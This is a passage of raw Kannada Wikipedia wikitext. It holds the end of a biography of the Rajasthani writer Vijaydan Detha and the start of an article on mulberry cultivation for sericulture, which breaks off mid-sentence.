ರಾಜಸ್ಥಾನಿ ಆಡು ಭಾಷೆಯನ್ನು ಬಿಂಬಿಸಿದೆ. ಇವರ ಹಲವು ಕಥೆಗಳು, ಕಾದಂಬರಿಗಳು ಮತ್ತು ನಾಟಕಗಳು, ಚಿತ್ರಕಥೆಗಳಾಗಿ ಮೂಡಿ ಬಂದಿವೆ. ಹಬಿಬ್ ತನ್ವಿರ್‍ರವರ "ಚರಣ್ ದಾಸ್ ಚೊರ್", ಪ್ರಕಾಶ್ ಜ ರವರ "ಪರಿನತಿ", ಅಮೊಲ್ ಪಲೆಕರ್‍ರವರ "ಪಹೆಲಿ" ಮತ್ತು ಮನಿ ಕೌಲ್‍ರವರ "ದುವಿದ" ಪ್ರಮುಖ ಚಿತ್ರಗಳಾಗಿವೆ. ==ಜೀವನ ಚರಿತ್ರೆ== ವಿಜಯದನ್ ದೆತ "ಚರನ್" ಜಾತಿಗೆ ಸೇರಿದವರು. ಅವರ ತಂದೆ ಶೊಬಲ್ದನ್‍ದೆತ ಹಾಗು ತಾತ ಜುಗ್ತಿದನ್‍ದೆತರವರು ಪ್ರಖ್ಯಾತ ರಾಜಸ್ಥಾನಿ ಸಾಹಿತಿಗಳಾಗಿದ್ದವರು. ದೆತರವರು ತಮ್ಮ ತಂದೆ ಹಾಗು ಇಬ್ಬರು ತಮ್ಮಂದಿರನ್ನು ತಮ್ಮ ನಾಲ್ಕನೇ ವಯಸ್ಸಿನಲ್ಲೇ ಕಳೆದುಕೊಂಡರು. ಆರನೇ ವಯಸ್ಸಿನಲ್ಲಿ ತಮ್ಮ ಅಣ್ಣ ಸಿವಿಲ್ ನ್ಯಾಯಲಯದಲ್ಲಿ ಕೆಲಸ ನಿರ್ವಹಿಸುತಿದ್ದರಿಂದ, ಜೈತರನ್ [[ನಗರ]]ಕ್ಕೆ (ಬೊರುಂದ ದಿಂದ ೨೫ ಕೀ.ಮಿ.) ಸ್ಥಳಾಂತರಗೊಂಡರು. ಅಲ್ಲಿ ಅವರು ಐದನೇ ತರಗತಿ ವರೆಗೆ ವಿದ್ಯಾಭ್ಯಾಸ ಮಾಡಿದರು. ನಂತರ ಅವರ ಅಣ್ಣನದ್ದು ವರ್ಗಾವಣೆ ಕೆಲಸವಾದ್ದರಿಂದ ಅವರು ಸ್ಥಳಾಂತರಗೊಳ್ಳುವ ಪರಿಸ್ಥಿತಿ ಬರುತ್ತಿತ್ತು. ವಿಜಯದನ್‍ರವರು ತಮ್ಮ ಶಾಲಾ ವಿದ್ಯಾಭ್ಯಾಸವನ್ನು [[ಬಿಹಾರ]] ಮತ್ತು ಬರ್ಮೆರ್‍ನಲ್ಲಿ ಮುಗಿಸಿದರು. ದೆತ ತಮ್ಮ ಶಾಲಾ ದಿನಗಳಲ್ಲಿ [[ಆಂಗ್ಲ ಭಾಷೆ]]ಯಲ್ಲಿ ಅಷ್ಟು ಪರಿಣತಿ ಹೊಂದಿರಲಿಲ್ಲ. ಆದ್ದರಿಂದ ಅವರು ಎಷ್ಟೋ ಅವಮಾನಗಳನ್ನು ಕಂಡಿದ್ದರು. ಬರ್ಮೆರ್‍‍‍ನಲ್ಲಿ ನರ್ಸಿಂಗ್ ರಾಜಪುರೋಹಿತ್ ಎಂಬ ವಿದ್ಯಾರ್ಥಿ‍ಯೊಂದಿಗೆ ಸ್ಪರ್ಧಿಸುತ್ತಿರುವಾಗ ನಾನೊಬ್ಬ ಬರಹಗಾರನಾಗಬೇಕೆಂಬ ಚಲ ಮೂಡಿತು. ಅನಂತರ ತಮ್ಮ ಅಣ್ಣ ಜೊದ್‍ಪುರಕ್ಕೆ ವರ್ಗಾವಣೆಗೊಂಡರು ಹಾಗು ದೆತ ಅಲ್ಲೇ ದರ್ಬರ್ ಶಾಲೆಯಲ್ಲಿ ವಿದ್ಯಾಭ್ಯಾಸ ಮುಂದುವರೆಸಿದರು.<ref>{{cite web|url=http://www.ssmttc.net/biodata_vijaydanji.htm|title=ಬಯೋ ಡಾಟಾ|access-date=2015-11-04|archive-date=2008-03-27|archive-url=https://web.archive.org/web/20080327194159/http://ssmttc.net/biodata_vijaydanji.htm|url-status=dead}}</ref>. ವಿಜಯದನ್‍ ದೆತ, ಸರತ್ ಚಂದ್ರ ಚಟ್ಟೋಪಾಧ್ಯಾಯ್‍ರವರನ್ನು ತಮ್ಮ ಮೊದಲ ಸ್ಪೂರ್ತಿ‍ಯನ್ನಾಗಿ ಸ್ವೀಕರಿಸಿದರು. ದೆತ [[ಆಂಟನ್ ಚೆಕೊವ್]] ಅವರ ದೊಡ್ಡ ಅಭಿಮಾನಿ. ಮೊದಲು ಟಾಗೊರ್ ಅವರ ದೋಷದರ್ಶಿ‍ಯಾಗಿದ್ದ ದೆತ, ಅವರ "ಸ್ತ್ರೀಪತ್ರ" ಕೃತಿ ಓದಿದ ಬಳಿಕ ಅವರ ಅಭಿಮಾನಿಯಾಗಿದರು. ದೆತ ರವರು ೧೯೪೪ರಲ್ಲಿ ಕಾಲೇಜು ಸೇರಿದರು. ಅಷ್ಟರಲ್ಲಿ ಕವಿಯಾಗಿ ಹೆಸರು ಗಳಿಸಿದ್ದ ದೆತ, ೧೦ನೇ ತರಗತಿಯಲ್ಲಿ ಶಾಲೆ ತ್ಯಜಿಸಿದ್ದ ತಮ್ಮ ಅಣ್ಣ ಕುಬೆರ್ದನ್ ದೆತಗೆ ಅಭಿನಂದನೆ ಸಲ್ಲಿಸುತ್ತಾರೆ. ವಿಜಯದನ್ ಮೊದಲು ತಮ್ಮ ಅಣ್ಣ ಬರೆಯುತಿದ್ದ ಪದ್ಯಗಳನ್ನು ತಮ್ಮ ಹೆಸರಿನಲ್ಲಿ ಪ್ರಕಟಿಸುತ್ತಿದ್ದರು. ಅದರಿಂದ ಬಂದ ಜನರ ಮೆಚ್ಚುಗೆಗಳನ್ನು ಕಂಡ ನಂತರ ತಾವೆ ಸ್ವಂತವಾಗಿ ಬರೆಯಲು ಪ್ರಾರಂಭಿಸಿದರು. ದೊಡ್ಡ ನಿರೀಕ್ಷೆಯನ್ನು ಹುಟ್ಟು ಹಾಕಿದ ಅವರ ಮೊದಲ ಕೃತಿ ಎಂದರೆ "ಬಪು ಕೆ ತೀನ್ ಹತ್ಯರೆ". ಈ ಪುಸ್ತಕವು ಹರಿವನ್ಶರೈ ಬಚ್ಚನ್, [[ಸುಮಿತ್ರಾನಂದನ ಪಂತ್]] ಮತ್ತು ನರೇಂದ್ರ ಶರ್ಮ‍ರ ವಿಮರ್ಶೆಯಾಗಿತ್ತು. ಇವು [[ಮಹಾತ್ಮ ಗಾಂಧಿ]] ಸತ್ತು ಹೋದ ಎರಡು ತಿಂಗಳಲ್ಲಿ ಬಂದ ಪುಸ್ತಕಗಳು. " ನಾತುರಾಮ ಗೊಡ್ಸೆ ಗಾಂಧಿಯವರನ್ನು ಶಾರೀಕವಾಗಿ ಕೊಂದರೆ, ಈ ಮೂರು ಬರಹಗಾರರು ಅವರ ಆತ್ಮವನ್ನು ಕೊಂದರು" - ವಿಜಯದನ್ ದೆತ, ಬಪು ಕೆ ತೀನ್ ಹತ್ಯರೆ ೧೯೫೦- ೫೨ರಲ್ಲಿ ದೆತರವರು ೧೯ನೇ ಶತಮಾನದ ರಷಿಯಾ ಸಾಹಿತ್ಯದಿಂದ ಸ್ಪೂರ್ತಿ ಪಡೆದಿದ್ದರು. ಈ ಸಂದರ್ಭ‍ದಲ್ಲಿ ಅವರು, "ನೀನು ಮಧ್ಯಮ ವರ್ಗದ (ಸಾಧಾರಣ) ಬರಹಗಾರನಾಗ ಬಾರದೆಂದರೆ, ನಿನ್ನ ಹಳ್ಳಿಗೆ ಹಿಂದಿರುಗಿ ರಾಜಸ್ತಾನಿಯಲ್ಲಿ ಬರೆಯಬೇಕು" ಎಂದು ಆಲೋಚಿಸಿದರು. ಆ ಸಮಯದಲ್ಲಾಗಲೆ ಅವರು ೧೩೦೦ ಪದ್ಯಗಳು ಹಾಗು ೩೦೦ ಸಣ್ಣ ಕಥೆಗಳನ್ನು ಬರೆದಿದ್ದರು. ೧೯೭೩ರಲ್ಲಿ ಪ್ರಸಿದ್ಧ ಚಿತ್ರ ನಿರ್ದೆಶಕ ಮನಿ ಕೌಲ್, ದೆತಾ ರ ಕಥೆ "ದುವಿಧ" ಆಧರಿತ "ದುವಿಧ" ಎಂಬ ಚಿತ್ರ ನಿರ್ದೇಶಿಸಿದರು. ಈ ಚಿತ್ರಕ್ಕೆ ಪ್ರಂಪಚದಾದ್ಯಂತ ಮೆಚ್ಚುಗೆ ದೊರೆಯಿತು. ಈ ಚಿತ್ರದ ಬಹುತೇಕ ಭಾಗ ದೆತಾರವರ ಊರಾದ ಬೊರುಂದಯಲ್ಲಿಯೇ ಚಿತ್ರಿಸಲಾಗಿತ್ತು. ನಂತರ [[ಶಾರುಖ್ ಖಾನ್ (ಹಿಂದಿ ನಟ)]], ಇದೇ ಕಥೆಯನ್ನು ಅಮೊಲ್ ಪಲೆಕರ್ ನಿರ್ದೇಶಿಸಿದ "ಪಹೆಲಿ" ಎಂಬ ಚಿತ್ರ ಮಾಡಿದರು. ಪಹೆಲಿ ಚಿತ್ರವು ಕೂಡ ಅಕಾಡೆಮಿ ಪ್ರಶಸ್ತಿ ಸಾಲಿನಲ್ಲಿತ್ತು. ಪ್ರಕಾಶ್ ಝ ರವರು ದೆತರವರ ಒಂದು ಕಥೆ ಆಧರಿತ "ಪರಿನತಿ" ಎಂಬ ಚಿತ್ರವನ್ನು ಮಾಡಿದರು. [[ಹಬೀಬ್ ತನ್ವೀರ್‍]], ದೆತ ರವರ ಒಂದು ಕಥೆಯನ್ನು ತಮ್ಮ ನಾಟಕ "ಚರನ ದಾಸ್ ಚೊರ್"ಗೆ ಅಳವಡಿಸಿಕೊಂಡರು ನಂತರ ಅದು [[ಶ್ಯಾಮ್ ಬೆನಗಲ್]] ರವರ ಚಲನಚಿತ್ರ‍ವಾಗಿಯು ಮೂಡಿ ಬಂತು. ಹೀಗೆ ದೆತರವರ ಹಲವು ಕಥೆಗಳು ಹಾಗು ನಾಟಕಗಳು ಚಲನಚಿತ್ರವಾಗಿ ಮೂಡಿ ಬಂದಿವೆ. ಮಹೇಂದ್ರ ಲಲಸ್ ಇಂಡಿಯ ಟುಡೆಯೊಂದಿಗೆ ಮಾತನಾಡುವಾಗ, "ನನ್ನ ನಾಡು [[ರಾಜಸ್ಥಾನ]] ಕಥೆಗಳಿಂದ ತುಂಬಿದೆ, ನಾನು ಬರೆದಿರುವುದು ಆ ಸಾಗರದ ಒಂದು ಹನಿ ಅಷ್ಟೆ" ಎಂದು ಹೇಳಿದ್ದಾರೆ. ದೆತರವರು ರಾಜಸ್ತಾನಿ ಭಾಷೆಯಲ್ಲಿ ಬರೆಯಲು ಷ ಗೊವರ್ದನ್ ಲಾಲ್ ರವರೆ ಸ್ಪೂರ್ತಿ. ಇವತ್ತಿನವರೆಗೂ ನಾನು ರಾಜಸ್ತಾನಿ ಬಿಟ್ಟರೆ, ಬೇರೆ ಯಾವ ಭಾಷೆಯಲ್ಲೂ ಬರೆದಿಲ್ಲವೆಂದು ಹೇಳುವುದರ ಮೂಲಕ ಭಾಷೆ ಬಗೆಗಿನ ತಮ್ಮ ಆಭಿಮಾನ ಹಾಗು ಪ್ರೀತಿಯನ್ನು ವ್ಯಕ್ತ ಪಡಿಸಿದ್ದಾರೆ. ಅವರ ನೆಚ್ಚಿನ ಲೇಖಕರೆಂದರೆ ಶರತ್ ಚಂದ್ರ ಚಟ್ಟೊಪಾದ್ಯಯ, [[ಆಂಟನ್ ಚೆಕೊವ್]] ಮತ್ತು [[ರವೀಂದ್ರನಾಥ ಠಾಗೋರ್]] . ದೆತರವರು ತಮ್ಮ ಬರಹಗಳಲ್ಲಿ ಬಡವರ ನೋವನ್ನು ಪ್ರತಿಬಿಂಬಿಸುತ್ತಿದ್ದರು. ದೆತರವರು ಈ ಪ್ರಪಂಚ ಕಂಡ ಒಬ್ಬ ಅದ್ಭುತ ಲೇಖಕ ಎಂದರು ಪ್ರೊಫೆಸರ್ ಗೊಪಲ್ ಭಾರದ್ವಾಜ (ಸಮಾಜ ಶಾಸ್ತ್ರ ವಿಭಾಗ, ಜಯ ನಾರಯನ ವ್ಯಾಸ ವಿಶ್ವವಿದ್ಯಾಲಯ, ಜೊದ್ ಪುರ). ದೆತರವರು ೨೦೧೧ ಸಾಲಿನ ನೊಬೆಲ್ ಪ್ರಶಸ್ತಿಗೆ ಆಯ್ಕೆ ಆಗಿದ್ದರು. ಆದರೆ ಪ್ರಶಸ್ತಿಯನ್ನು ತೊಮಸ್ ತ್ರನ್ಸ್ತ್ರೊಮೆರ್‍ಗೆ ನೀಡಲಾಯಿತು. ದೆತರವರಿಗೆ ಮೆಹ್ರನ್ಗರ್ಹ್ ವಸ್ತು ಸಂಗ್ರಹಾಲಯದ ರವ್ ಸಿಹ ಪ್ರಶಸ್ತಿಯನ್ನು ೨೪ ನವೆಂಬರ್ ೨೦೧೧ರಂದು ನೀಡಿ ಗೌರವಿಸಲಾಯಿತು. ದೆತಾರವರಿಗೆ ನಾಲ್ಕು ಜನ ಗಂಡು ಮಕ್ಕಳು ಹಾಗು ಒಬ್ಬ ಮಗಳು - ಪ್ರೆಮ್ ದನ್ ದೆತ, ಕೈಲಾಶ್ ಕಬಿರ್, ಕೌಶಲ್ಯ (ಮಗಳು), ಸತ್ಯದೆವ್ ದೆತ, ಮಹೇಂದ್ರ ದೆತ. ==ಪ್ರಶಸ್ತಿಗಳು ಹಾಗು ಗೌರವಗಳು== *ಸಾಹಿತ್ಯ ಅಕಾಡೆಮಿ ಪ್ರಶಸ್ತಿ (೧೯೭೪) *ಭಾರತೀಯ ಭಾಷಾ ಪರಿಷತ್ ಅವಾರ್ಡ್ (೧೯೯೨) *ಮರುಧಾರ ಪುರಸ್ಕಾರ್ (೧೯೯೫) *ಬಿಹಾರಿ ಪುರಸ್ಕಾರ್ (೨೦೦೨) *ಸಾಹಿತ್ಯ ಚೂಡಾಮಣಿ ಅವಾರ್ಡ್ (೨೦೦೬) *ಪದ್ಮಶ್ರೀ (೨೦೦೭) *ರಾಜಸ್ಥಾನ್ ರತ್ನ (೨೦೧೨) ==ಹೊರಗಿನ ಸಂಪರ್ಕಗಳು== * http://www.imdb.com/name/nm0221880/ * http://www.wordswithoutborders.org/contributor/vijay-dan-detha/ * http://arts.gov/writers-corner/bio/christi-merrill?id=02_12 {{Webarchive|url=https://web.archive.org/web/20160311111239/https://www.arts.gov/writers-corner/bio/christi-merrill?id=02_12 |date=2016-03-11 }} * http://archive.tehelka.com/story_main16.asp?filename=hub012106The_English.asp{{Dead link|date=ಆಗಸ್ಟ್ 2021 |bot=InternetArchiveBot |fix-attempted=yes }} * http://www.indianautographs.com/productdetail-111098.html ==ಉಲ್ಲೇಖಗಳು== [[ವರ್ಗ:ಕ್ರೈಸ್ಟ್ ವಿಶ್ವವಿದ್ಯಾಲಯ ವಿಕಿಪೀಡಿಯ ಶಿಕ್ಷಣ ಯೋಜನೆ-೨೦೧೫-೧೬]] 0v4japmo6yiquhnsg3j6hc9d0kz5n68 ಉಪ್ಪು ನೇರಳೆ 0 76902 1116563 1053568 2022-08-24T04:28:49Z InternetArchiveBot 69876 Rescuing 1 sources and tagging 0 as dead.) #IABot (v2.0.9 wikitext text/x-wiki {{Taxobox | name = Mulberry | image = Morus alba FrJPG.jpg | image_caption = ''[[Morus nigra]]'' | regnum = [[Plantae]] | unranked_divisio = [[Angiosperms]] | unranked_classis = Eudicots | unranked_ordo = [[Rosids]] | ordo = [[Rosales]] | familia = [[Moraceae]] | tribus = [[Moreae]]<ref>{{Cite web |url=http://www.ars-grin.gov/cgi-bin/npgs/html/genus.pl?7821 |title=''Morus'' L. |work=[[Germplasm Resources Information Network]] |publisher=[[United States Department of Agriculture]] |date=2009-01-16 |accessdate=2009-03-11 |archive-date=2013-05-10 |archive-url=https://web.archive.org/web/20130510105830/http://www.ars-grin.gov/cgi-bin/npgs/html/genus.pl?7821 |url-status=dead }}</ref> | genus = '''''Morus''''' | genus_authority = [[Carl Linnaeus|L.]] | subdivision_ranks = Species | subdivision = See text. }} '''ಉಪ್ಪು ನೇರಳೆ''': ಮೊರೇಸಿ ಕುಟುಂಬದ ಒಂದು ಜಾತಿ (ಜೀನಸ್) (ಮೊರಸ್ ಇಂಡಿಕ). ಹಿಪ್ಪು ನೇರಳೆ ಎಂಬ ಹೆಸರೂ ಬಳಕೆಯಲ್ಲಿದೆ. [[ಮರ]] ಅಥವಾ ಪೊದೆಸಸ್ಯವಾಗಿ [[ಉಷ್ಣವಲಯ]] ಹಾಗು [[ಸಮಶೀತೋಷ್ಣವಲಯ]]ದ ಅನೇಕ ಭಾಗಗಳಲ್ಲಿ ಕಂಡುಬರುತ್ತದೆ. ಇವುಗಳಲ್ಲಿ ಕೆಲವುಗಳ ಎಲೆಯನ್ನು [[ರೇಷ್ಮೆ]] ಹುಳುಗಳಿಗೆ ಆಹಾರವಾಗಿ ಹಾಕುತ್ತಾರೆ. ಕೆಲವನ್ನು ಹಣ್ಣಿಗಾಗಿ ಅಥವಾ ಮರಮುಟ್ಟಿಗಾಗಿ ಬೆಳೆಸುತ್ತಾರೆ. ರೇಷ್ಮೆ ವ್ಯವಸಾಯದಲ್ಲಿ ಬಳಕೆಯಲ್ಲಿರುವ ಈ ಸಸ್ಯಜಾತಿಗಳಲ್ಲಿ ಅನೇಕವು ಜಪಾನ್ ಮತ್ತು ಚೀನದಿಂದ ಬಂದವು. ಉಪ್ಪುನೇರಳೆ ಪ್ರತಿ ವರ್ಷ ಎಲೆ ಉದುರುವ ಜಾತಿಗೆ ಸೇರಿದ ಗಿಡ ಅಥವಾ ಪೊದೆ, ಭಾರತದಲ್ಲಿ ಹಿಮಾಲಯ ತಪ್ಪಲಿನಲ್ಲಿ 7,000 ಎತ್ತರದ ಪ್ರದೇಶದಿಂದ ಹಿಡಿದು [[ಜಮ್ಮು ಮತ್ತು ಕಾಶ್ಮೀರ]], [[ಪಶ್ಚಿಮ ಬಂಗಾಳ]], [[ಅಸ್ಸಾಂ]], [[ದಕ್ಷಿಣ ಭಾರತ]]ದಲ್ಲಿ [[ಕರ್ನಾಟಕ]] ಮುಂತಾದೆಡೆ ಇದರ ಕೃಷಿ ಬಳಕೆಯಲ್ಲಿದೆ. ರಸ್ತೆ ಅಂಚಿನಲ್ಲಿ ಅಲಂಕಾರಕ್ಕಾಗಿ ದೇಶದ ಎಲ್ಲ ಭಾಗಗಳಲ್ಲೂ ಬೆಳೆಸುತ್ತಾರೆ. ತೀವ್ರ ಚಳಿಯನ್ನು ಇದು ಸಹಿಸಬಲ್ಲದು. ಆದರೆ ಬಿರುಗಾಳಿಯ ಅವಾಂತರ ತಡೆಯಲಾರದು. ಭಾರತದಲ್ಲಿ ಉಪ್ಪು ನೇರಳೆ ಬೆಳೆಯ ವಿಸ್ತೀರ್ಣ ಸುಮಾರು 2 ಲಕ್ಷ ಎಕರೆಗಳು. ಇದರ 90%ರಷ್ಟು ಭಾಗ ಮೈಸೂರಿನಲ್ಲಿದೆ. ಇದು ಬಹುವಾಗಿ ಹೊಲದ ಬೆಳೆ. ಗಿಡಗಳಿಂದ ವರ್ಷಕ್ಕೆ ಎರಡು ಮೂರುಬಾರಿ ಸೊಪ್ಪನ್ನು ಕೊಯ್ದು ರೇಷ್ಮೆ ಹುಳುಗಳಿಗೆ ಆಹಾರವಾಗಿ ಬಳಸುತ್ತಾರೆ. [[File:Mulberry in Libya.jpg|thumb|right|Mulberry fruit in [[Libya]]]] ==ಮಣ್ಣು ಮತ್ತು ಹವಾಗುಣ== ಉಪ್ಪುನೇರಳೆ ಬೆಳೆಯನ್ನು ನೀರು ನಿಲ್ಲದೆ ಬಸಿಯುವ ಎಲ್ಲ ಭೂಮಿಗಳಲ್ಲೂ ತೆಗೆಯುವುದು ಸಾಧ್ಯ. ಜೌಗು ಭೂಮಿಗಳಲ್ಲಿ ಬೆಳೆಬರುವುದಿಲ್ಲ. ಮರಳುಭೂಮಿ, ಗೋಡು ನೆಲ ಇಲ್ಲವೇ ಎರೆಭೂಮಿ ಮುಂತಾದ ಯಾವುದೇ ಮಣ್ಣಿನ ಪರಿಸ್ಥಿತಿಯಲ್ಲೂ ಬರುತ್ತದೆ. ಮಳೆ ಚೆನ್ನಾಗಿ ವರ್ಷವೆಲ್ಲ ಸುರಿದರೆ ಅನುಕೂಲ. ಇಲ್ಲದಿದ್ದಲ್ಲಿ ನೀರು ಹಾಯಿಸುವುದು ಅವಶ್ಯಕ. ಮುಖ್ಯ ಮಳೆಗಳೆಲ್ಲವೂ ಮುಗಿದ ಅನಂತರ ನೆಲ ಅಗೆತ ಮಾಡಿಯೊ ಇಲ್ಲವೆ ಉತ್ತೊ 12"-18" ಆಳದವರೆಗಗೆ ಸಡಿಲ ಮಾಡಬೇಕು. ಹೆಂಟೆಗಳನ್ನು ಪುಡಿಮಾಡಿ ಭೂಮಿಯ ಹದ ಕುದುರಿಸಬೇಕು. ಈ ಸಮಯದಲ್ಲಿ ಕೊಟ್ಟಿಗೆ ಗೊಬ್ಬರವನ್ನು ಭೂಮಿಗೆ ಸೇರಿಸಬಹುದು. ಹೆಚ್ಚಿಗೆ ಗೊಬ್ಬರ ಕೊಟ್ಟಷ್ಟೂ ಭೂಮಿ ಸೆಜ್ಜೆಗೆ ಬರುತ್ತದೆ. ==ಬಿತ್ತನೆ== ಬೀಜ ಬಿತ್ತಿ ಇಲ್ಲವೇ ತುಂಡುಗಳನ್ನು ನೆಟ್ಟು, ಇಲ್ಲವೇ ಕಸಿಕೊಂಬೆ ಅಥವಾ ಕಣ್ಣುಗಳನ್ನು ನೆಟ್ಟು ಬೆಳೆಸಬಹುದು. ಬಿತ್ತನೆ ಬೀಜವನ್ನು ಒಂದು ತಿಂಗಳೊಳಗೆ ನೆರಳು ಮಾಡಿರುವ ಸಸಿಪಾತಿಗಳಲ್ಲಿ ಹಾಕುತ್ತಾರೆ. ಬೀಜ ಬಲುಸೂಕ್ಷ್ಮ. ಒಂದು ಔನ್ಸ್‌ ತೂಕದಲ್ಲಿ 12,000-14,000 ಬೀಜಗಳು ದೊರೆಯುತ್ತವೆ. ಅವುಗಳ ಬಳಕೆಯಲ್ಲಿ ಎಚ್ಚರಿಕೆ ಅಗತ್ಯ. ರೋಗ ನಿರೋಧದ ದೃಷ್ಟಿಯಿಂದ ಬೀಜಕ್ಕೆ ಕರ್ಪುರದ ನೀರು ಚಿಮುಕಿಸುವುದು ರೂಢ. ಬೀಜವನ್ನು ಪಾತಿಯಲ್ಲಿ ಬಿತ್ತಿದ ಮೇಲೆ, ತೆಳುವಾಗಿ ಬೂದಿ ಮತ್ತು ಮಣ್ಣನ್ನು ಎರಚುತ್ತಾರೆ. ಪಾತಿಗೆ ಆಗಾಗ ನೀರು ಹಾಕಿ ತೇವವನ್ನು ಹದವಾದ ಮಟ್ಟದಲ್ಲಿ ಉಳಿಸುವುದು ಅಗತ್ಯ. ಬೀಜ 10-15 ದಿವಸಗಳಲ್ಲಿ ಮೊಳೆಯುತ್ತದೆ. ಸಸಿ ¼"- 1/2 " ಬೆಳೆದಾಗ ಪಾತಿ ವಿರಳವಾಗುವಂತೆ ಹೆಚ್ಚಿಗೆ ಸಸಿಗಳನ್ನು ಕಿತ್ತುಹಾಕಿ ಬೇಕಾದಷ್ಟನ್ನು ಮಾತ್ರ ಉಳಿಸುತ್ತಾರೆ. ಪೊದೆ ಬೆಳೆಸುವುದಕ್ಕೆ ನಾಟಿ ಮಾಡುವುದಾದರೆ 4"-6" ಉದ್ದದ ಸಸಿಗಳನ್ನು ಉಪಯೋಗಿಸುತ್ತಾರೆ. ಮರಗಳನ್ನು ಬೆಳೆಸುವುದಾದರೆ 4" ಎತ್ತರ ಬೆಳೆದ ಅನಂತರ ಸಸಿಗಳನ್ನು ರೆಂಬೆ ಕತ್ತರಿಸಿ ಗುಣಿಗಳಲ್ಲಿ ನೆಡುತ್ತಾರೆ. ಮುಡಿ ಉಪ್ಪುನೇರಳೆ ಪೊದೆಗಳ ರೆಂಬೆಗಳನ್ನು ವರ್ಷ ವರ್ಷ ಸವರುತ್ತಾರೆ. ಸವರಿದ ರೆಂಬೆಗಳಿಂದ 3 ಕಣ್ಣುಳ್ಳ 9"-12" ಉದ್ದದ ತುಂಡುಗಳನ್ನು ವಿಂಗಡಿಸಿ ಅವು ಹಸಿಯಾಗಿರು ವಾಗಲೇ ನೆಡುತ್ತಾರೆ. ಪಶ್ಚಿಮ ಬಂಗಾಳದಲ್ಲಿ ಇಂಥ ತುಂಡುಗಳನ್ನು ಕಂತೆ ಕಟ್ಟಿ ಮಣ್ಣಿನಲ್ಲಿ ಹುಗಿದು ಕಣ್ಣುಗಳಿಂದ ಮೊಳಕೆ ಬಂದ ಅನಂತರ ನಾಟಿ ಮಾಡುವುದು ವಾಡಿಕೆ. ಕಸಿಮಾಡಿದ ಸಸಿಗಳನ್ನು ನಾಟಿ ಮಾಡಿ ಉಪ್ಪುನೇರಳೆ ತೋಟ ಬೆಳೆಸುವುದು ಒಂದು ವಿಧ. ಉತ್ತಮ ರೀತಿಯ ಸಸಿಗಳಿಂದ ಬೇರಿನ ಕಸಿ ಒದಗಿಸಿಕೊಂಡು ಎಬ್ಬಿಸಿದ ಉಪ್ಪುನೇರಳೆ ಉತ್ಕೃಷ್ಟವಾದ ಸೊಪ್ಪನ್ನು ಕೊಡುತ್ತದೆ. ==ಸಂತಾನಾಭಿವೃದ್ಧಿ== ಮೈಸೂರಿನಲ್ಲಿ ಬಹುಭಾಗ ಉಪ್ಪುನೇರಳೆ ಹೊಲದ ಬೆಳೆ. ನೀರಾವರಿ ಕೇವಲ 15% ಅಂಶ ಮಾತ್ರ ಬಿತ್ತನೆಗೆ ತುಂಡುಗಳ ಬಳಕೆಯೇ ಸಾಮಾನ್ಯ. ತುಂಡುಗಳನ್ನು ನೇಗಿಲು ಸಾಲಿನಲ್ಲಿ ಇಲ್ಲವೇ ಗುಣಿಗಳಲ್ಲಿ ಹೂಳುತ್ತಾರೆ. ನೀರಾವರಿ ಸೌಕರ್ಯವಿದ್ದೆಡೆಯಲ್ಲಿ ಸಾಲಿನಲ್ಲಿ ಹೂಳುವುದು ವಾಡಿಕೆ. ಹೊಲದಲ್ಲಿ ನೆಡುವಾಗ 30". ಅಂತರದಲ್ಲಿ 9" ಆಳ 12" ವ್ಯಾಸವುಳ್ಳ ಗುಣಿಗಳಲ್ಲಿ ತುಂಡುಗಳನ್ನು ಇಡುವುದು ಬಳಕೆಯಲ್ಲಿರುವ ಕ್ರಮ. ಸಾಲುಗಳ ಮಧ್ಯದ ಅಂತರ 30". ಮುಂಗಾರು ಮಳೆ ಪ್ರಾರಂಭದಲ್ಲಿ ಜುಲೈ ತಿಂಗಳು ಬಿತ್ತನೆ ಮಾಡುವುದಕ್ಕೆ ಅನುಕೂಲವಾದ ಸಮಯ. ನೀರಾವರಿ ಸೌಲಭ್ಯ ಕಡಿಮೆ ಇರುವ ಸಂದರ್ಭದಲ್ಲಿ ಸಾಲಿನಲ್ಲಿ ಗುಣಿಗಳ ಮಧ್ಯದ ಅಂತರ 18" ಇರುತ್ತದೆ. ಪ್ರತಿ ಗುಣಿಯಲ್ಲೂ 3 ತುಂಡುಗಳನ್ನು ನೆಡುತ್ತಾರೆ. ಬೇಕಾದ ಮಟ್ಟದ ತೇವವನ್ನು ಉಳಿಸಿಕೊಳ್ಳಲು ನೀರು ಹೊತ್ತುಹಾಕುವುದು ಅವಶ್ಯಕ. ಈ ರೀತಿ ನೆಟ್ಟಾಗ ಒಂದು ಎಕರೆಗೆ 30,000-40,000 ಬಿತ್ತನೆ ತುಂಡುಗಳು ಬೇಕಾಗುತ್ತವೆ. ನೀರಾವರಿ ಅನುಕೂಲವಿದ್ದಾಗ ಸಾಲು ನಾಟಿ ಉತ್ತಮ. ಏಪ್ರಿಲ್-ಮೇ ತಿಂಗಳುಗಳಲ್ಲಿ ಪ್ರತಿ ಗುಣಿಯಲ್ಲೂ ಒಂದೊಂದು ಜೋಡಿ ತುಂಡನ್ನು ನೆಡುತ್ತಾರೆ. ಗುಣಿಗಳ ಮಧ್ಯ ಒಂದಕ್ಕೆ 70,000ಕ್ಕೂ ಹೆಚ್ಚು ಬಿತ್ತನೆಗಳು ಬೇಕಾಗುತ್ತದೆ. ಕೆಲವಡೆ 8-10 ಉಪ್ಪು ನೇರಳೆ ತುಂಡುಗಳನ್ನು ಕಂತೆ ಮಾಡಿ 3' ಅಂತರದಲ್ಲಿ ನೆಡುತ್ತಾರೆ. ಹೊಲದಲ್ಲಿ ಇವನ್ನು ಪುರ್ತಿ ಮಣ್ಣಿನಲ್ಲಿ ಓರೆಯಾಗಿಟ್ಟು ಹೂಳುತ್ತಾರೆ. ತೇವ ಸಾಕಷ್ಟು ಇರುವೆಡೆ ಸ್ವಲ್ಪ ಭಾಗ ಹೊರಬಂದಿರುತ್ತದೆ. ಈ ರೀತಿಯ ನಾಟಿ ಮಳೆಗಾಲದ ಪ್ರಾರಂಭದಲ್ಲೇ ಆಗಬೇಕು. ತುಂಡುಗಳು ಬೇರು ಬಿಟ್ಟು ಕೃಷಿಮಾಡಿ ನೀರು ಕೊಟ್ಟಂತೆ ಗಿಡ 6 ವಾರದೊಳಗೆ 2'-3' ಎತ್ತರ ಬೆಳೆಯುತ್ತದೆ. ಗಿಡ 3'-5' ಎತ್ತರ ಬೆಳೆದ ಮೇಲೆ ನೀರು ಹಾಕುವುದನ್ನು ನಿಲ್ಲಿಸುತ್ತಾರೆ. ನೀರಾವರಿ ಇದ್ದರೆ ವಾರಕ್ಕೆರಡು 